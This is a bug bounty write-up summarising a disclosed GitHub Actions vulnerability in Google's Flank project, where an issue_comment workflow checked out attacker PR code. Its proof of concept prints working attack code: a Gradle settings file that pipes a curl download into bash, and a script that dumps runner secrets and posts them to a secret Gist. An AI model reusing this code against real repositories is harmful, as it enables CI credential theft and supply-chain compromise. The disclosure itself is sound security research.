# An Obscure Actions Workflow Vulnerability in Google

Flank's issue_comment workflow checked out attacker-controlled PR code via gh pr checkout, letting any GitHub user run code and steal a GCP service account secret and write-scoped GITHUB_TOKEN.

- Payout: $7,500
- Severity: high
- Program: Google
- Found by: Adnan Khan
- Disclosed: 2024-04-15
- Write-up quality: 7/10
- Original: https://adnanthekhan.com/2024/04/15/an-obscure-actions-workflow-vulnerability-in-googles-flank/
- Library page: https://bugbountylibrary.com/r/blog%3Aadnanthekhan-com-2024-04-15-an-obscure-actions-workflow-vulnerability-in-googles-flank
- Tags: area:oss domain:oss impact:integrity impact:internal-access kind:bounty platform:blog sev:high tech:github-actions technique:recon technique:source-review vuln:command-injection

**Target:** GitHub Actions workflow (run_integration_tests.yml) in Flank repo
**Root cause:** Workflow triggered on issue_comment derived a PR number from the issue's pull_request URL and passed it via context expression into a run step including `gh pr checkout`, so attacker PR code executed in a privileged workflow context with secrets.
**Steps:**
1. Fork Flank and modify settings.gradle.kts to run a shell command that curls a payload from the base repo commit and pipes to bash
2. Create a draft PR with the payload
3. Comment `@flank-it` on the PR to trigger the issue_comment workflow
4. Workflow parses PR number from github.event.issue.pull_request.url and runs `gh pr checkout ${{ needs.should_run_it.outputs.pr_number }}`
5. Gradle build executes modified settings.gradle.kts, dumping secrets and exfiltrating to a secret Gist via GitHub API using a fine-grained PAT
**How found:** Used custom tool Gato-X to scan 20-30k repos on risky triggers (issue_comment) via sourcegraph, flagging workflows that reference PR numbers in run steps; spotted Flank's 'Checkout Pull Request' step using needs.should_run_it.outputs.pr_number with gh pr checkout, then did source-to-sink analysis.
**Exploitation:** Attacker with any GitHub account forks the repo, injects a Gradle settings.gradle.kts payload that memory-dumps secrets and uploads them to a secret Gist using a fine-grained PAT, then comments @flank-it on a draft PR. Workflow checks out the PR and runs integration tests, executing attacker code with GITHUB_TOKEN write access and the GCP service account secret.
**Escalation:** Exfiltrated GITHUB_TOKEN with write access plus Google service account credentials, enabling supply chain compromise of the OSS project.
**Insight:** Pwn Request sinks aren't limited to obvious github.event.* context expressions; trace any value derived from attacker-controlled PR/issue data (e.g. PR number parsed from pull_request.url) into run steps like `gh pr checkout`, and scan issue_comment workflows at scale for indirect PR references.

## Proof of concept (copied exactly from the original report)

**Malicious settings.gradle.kts payload executing shell command**

```
// For VRP Test, not malicious.
fun String.runCommand(): String? = try {
 ProcessBuilder("/bin/sh", "-c", this)
 .redirectOutput(ProcessBuilder.Redirect.PIPE)
 .redirectError(ProcessBuilder.Redirect.PIPE)
 .start()
 .inputStream.bufferedReader().readText()
} catch (e: Exception) {
 e.printStackTrace()
 null
}

val output = "curl -sSfL https://github.com/Flank/flank/raw/88e5a56dd3ed78f4f192eadf31634c013dbbf060/README | bash".runCommand()
println("Shell command output: $output")
```

**Exfiltration script posting secrets to secret Gist**

```
if [[ "$OSTYPE" == "linux-gnu" ]]; then
 B64_BLOB=`curl -sSfL https://github.com/flank/flank/raw/128b43b61fd7da13ea6829d1fbb4d3f028b6cdad/LICENSE | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0`
 YEETER_TOKEN="<EXFIL TOKEN>"
 YEETER_TOKEN_DECODED=`echo $YEETER_TOKEN | base64 -d | base64 -d`

 curl -L \
 -X POST \
 -H "Accept: application/vnd.github+json" \
 -H "Authorization: Bearer $YEETER_TOKEN_DECODED" \
 -H "X-GitHub-Api-Version: 2022-11-28" \
 https://api.github.com/gists -d '{"public":false,"files":{"Spoils":{"content":"'$B64_BLOB'"}}}'

 sleep 900
else
 exit 0
fi
```

**Workflow steps checking out PR via gh cli**

```
- name: Get PR number
 id: pr_number
 if: ${{ github.event_name == 'issue_comment'}}
 run: |
 PR_URL="${{ github.event.issue.pull_request.url }}"
 PR_NUMBER=${PR_URL##*/}
 echo "number=$PR_NUMBER" >> $GITHUB_OUTPUT

The subsequent step used the PR number from the previous step’s output and passed it via context expression to a run step including gh pr checkout.

 - name: Checkout Pull Request
 if: github.event_name == 'issue_comment'
 env:
 GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
 run: |
 gh pr checkout ${{ needs.should_run_it.outputs.pr_number }}
```

